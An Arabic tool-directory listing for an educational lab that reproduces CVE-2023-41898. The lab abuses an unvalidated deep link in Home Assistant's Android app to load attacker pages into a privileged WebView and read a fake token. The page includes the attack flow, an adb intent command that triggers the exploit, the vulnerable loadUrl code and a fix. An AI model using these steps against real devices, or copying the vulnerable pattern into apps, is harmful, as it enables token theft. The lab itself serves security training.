Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-41898_Lab — تجوّل عبر CVE-2023-41898: استغلال رابط عميق غير مُتحقق منه في Home Assistant لنظام أندرويد لتحميل عناوين URL عشوائية في WebView بصلاحيات مرتفعة وتسريب رمز مميز مزيف. | Kitploit
أدوات/GitHubGitHub/lazybear8372/cve-2023-41898_lab
أمان أندرويدتحليل الثغرات الأمنيةاختبار اختراق تطبيقات الجوالالتعلم والتعليممختبرات وتدريب عملي
GitHublazybear8372/cve-2023-41898_lab

CVE-2023-41898_Lab

تجوّل عبر CVE-2023-41898: استغلال رابط عميق غير مُتحقق منه في Home Assistant لنظام أندرويد لتحميل عناوين URL عشوائية في WebView بصلاحيات مرتفعة وتسريب رمز مميز مزيف.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
3منذ 29 أياملم تتم المراجعة بعد

مختبر الروابط العميقة غير المُتحقَّقة منها CVE-2023-41898

هو مختبر تعليمي مُصغَّر لإعادة إنتاج الثغرة، مبني على تقرير الثغرة المنشور (GHSL-2023-142) الخاص بـ Home Assistant Companion for Android وعلى البنية مفتوحة المصدر للإصدار الضعيف 2023.8.2.

لا تُستخدم أي خوادم أو حسابات أو رموز مميزة (tokens) حقيقية لـ Home Assistant. يُكشَف فقط رمز مميز افتراضي ثابت باسم LAB_TOKEN_CVE_2023_41898_NOT_REAL.

نظرة عامة على الثغرة

  • الهدف: Home Assistant Companion for Android
  • الإصدارات المتأثرة: ما قبل 2023.9.2 (وفقًا للتوصية الرسمية)
  • الإصدار المُصحَّح: 2023.9.2
  • التصنيف: معالجة الروابط العميقة غير المُتحقَّق منها / تحميل عناوين URL عشوائية في WebView
  • النتيجة: تنفيذ JavaScript عشوائي، استدعاء وظائف أصلية (native) محدودة، وإمكانية سرقة بيانات المصادقة

هيكل المختبر

root@kitploit:~
Attacker App
  │ explicit ACTION_VIEW Intent
  │ data=http://10.0.2.2:8000/exploit.html
  ▼
Victim MyActivity (exported)
  │ 검증 없이 JavaScript-enabled WebView.loadUrl()
  ▼
exploit.html
  │ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
  ▼
Victim WebViewActivity (privileged WebView)
  │ 공격자 페이지에 externalApp JavaScript bridge 노출
  ▼
가상 LAB_TOKEN 표시

لا يقوم intent-filter في Android manifest إلا بتحديد عناوين URI التي تتم مطابقتها مع Intent الضمني، ولا يتحقق تلقائيًا من data URI في Intent الذي يحدد المكوّن بشكل صريح.

المكوّنات

  • victim/: تطبيق يعيد إنتاج مُعالِج الروابط العميقة الضعيف وWebView المُمنَّح صلاحيات
  • attacker/: تطبيق يرسل Intent صريحًا إلى Activity المُصدَّر (exported) في تطبيق الضحية
  • web/: صفحتا الهجوم للمرحلتين 1 و2 واللتان سيتم تقديمهما محليًا
  • dist/: ملفات APK الخاصة بوضع التصحيح (debug) بعد التحقق منها
  • UPSTREAM.md: العلاقة المطابِقة بين الكود المصدري الأصلي وتنفيذ المختبر

البناء

المتطلبات: JDK 17 أو أحدث، Android SDK 36، وذاكرة تخزين مؤقت لـ Gradle/Android Gradle Plugin أو اتصال بالإنترنت.

root@kitploit:~
./gradlew :victim:assembleDebug :attacker:assembleDebug

التثبيت والتطبيق العملي

نفّذ ذلك فقط على مُحاكٍ (emulator) أو جهاز اختبار مصرّح به.

1. تثبيت APK

root@kitploit:~
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk

2. تشغيل صفحة الهجوم المحلية

نفّذ الأمر التالي من جذر المختبر.

root@kitploit:~
python3 -m http.server 8000 --directory web

في مُحاكي Android Studio الافتراضي، يشير 10.0.2.2 إلى الواجهة الارتدادية (loopback) الخاصة بالكمبيوتر المضيف. إذا كنت تستخدم جهاز اختبار حقيقيًا، فغيّر web/exploit.html وعنوان URL في تطبيق الهجوم إلى عنوان IP الخاص بالكمبيوتر المضيف على الشبكة المحلية (LAN).

3. التحقق من تدفق الهجوم

  1. ثبّت تطبيقي CVE-2023-41898 Victim وCVE-2023-41898 Attacker.
  2. شغّل خادم HTTP المحلي.
  3. في تطبيق Attacker، اضغط على تشغيل تدفق الرابط العميق الضعيف.
  4. تنتقل صفحة الهجوم الأولى إلى عنوان URL الداخلي homeassistant://navigate/.
  5. تحقّق من تحميل صفحة المهاجم في WebView الثانية ومن ظهور LAB_TOKEN_CVE_2023_41898_NOT_REAL.

يمكنك أيضًا استدعاء المرحلة الأولى عبر ADB دون تطبيق الهجوم.

root@kitploit:~
adb shell am start \
  -n lab.cve202341898.victim/.MyActivity \
  -a android.intent.action.VIEW \
  -d 'http://10.0.2.2:8000/exploit.html'

الكود الضعيف واتجاه الإصلاح

التنفيذ الضعيف يحمّل URI الخارجي كما هو.

root@kitploit:~
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());

عند الإصلاح، يجب التحقق من scheme وhost وport وpath الخاصة بـ URI المُحلَّل (parsed) باستخدام قائمة سماح (allowlist) صارمة. لا تستخدم مقارنة السلاسل النصية startsWith لأنها تنطوي على مخاطر تجاوز عبر معلومات المستخدم ([email protected])، والنطاقات الفرعية، والترميز (encoding).

root@kitploit:~
Uri uri = getIntent().getData();
boolean trusted = uri != null
        && "https".equals(uri.getScheme())
        && "my.home-assistant.io".equals(uri.getHost())
        && uri.getPort() == -1
        && uri.getPath() != null
        && uri.getPath().startsWith("/redirect/");
if (!trusted) {
    finish();
    return;
}

بالإضافة إلى ذلك، أزل JavaScript وJavascriptInterface غير الضرورية من WebView، وطبّق نفس التحقق من عناوين URL على كل عمليات التنقل وإعادة التوجيه (redirects).

نطاق الأمان والاختلافات عن الأصل

  • أُعيد إنتاج تدفق البيانات الضعيف فقط كمشروع Java صغير دون بناء التطبيق الأصلي بالكامل.
  • لا يتضمن أسماء الحزم الحقيقية، أو مخزن المصادقة، أو الاتصال بالخادم، أو وظائف المنزل الذكي.
  • يُستخدم فقط رمز مميز افتراضي ثابت بدلاً من رمز المصادقة الحقيقي.
  • يُستخدم فقط خادم HTTP المحلي على الكمبيوتر المضيف وليس خادم هجوم عبر الإنترنت.

المراجع

  • GitHub Security Lab GHSL-2023-142: https://securitylab.github.com/advisories/GHSL-2023-142_Home_Assistant_Companion_for_Android/
  • توصية Home Assistant الأمنية GHSA-jvpm-q3hq-86rg: https://github.com/home-assistant/core/security/advisories/GHSA-jvpm-q3hq-86rg
  • وسم (tag) المصدر للإصدار الضعيف 2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2
تنزيل الأداة